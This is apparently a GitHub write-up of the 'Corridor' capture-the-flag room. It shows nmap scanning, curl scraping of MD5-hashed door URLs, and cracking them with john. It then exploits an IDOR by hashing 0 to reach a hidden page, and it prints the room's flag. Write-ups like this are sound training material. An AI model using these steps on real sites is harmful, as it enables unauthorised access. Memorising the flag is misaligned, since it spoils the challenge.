Skip to content

Latest commit

 

History

History
66 lines (39 loc) · 1.7 KB

corridor.md

File metadata and controls

66 lines (39 loc) · 1.7 KB

Can you escape the Corridor?

Scanning

scan the target

nmap -sS -sV 10.10.225.145

image

HTTP

go to the webpage, we can see a corridor with a lot of door can open

image

when view source, i can see a lot of hash value on each door

image

Enumeration

now, i will colect all these hashes to further research

curl http://10.10.225.145 | grep 'alt' | cut -d '"' -f4 > hash.txt

image

Cracking

crack the hash with john the ripper

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image

Clearly, all hashed URL endpoints are numbers from 1 to 13.

Exploitation

let's think about IDOR vulnerability, i will change the hashed URL to over the zone, maybe 14 or 0

echo -n 14 | md5sum
echo -n 0 | md5sum

image

nothing at room 14 but there is a flag at room 0

image

Here you are

Flag Corridor
Answer flag{2477ef02448ad9156661ac40a6b8862e}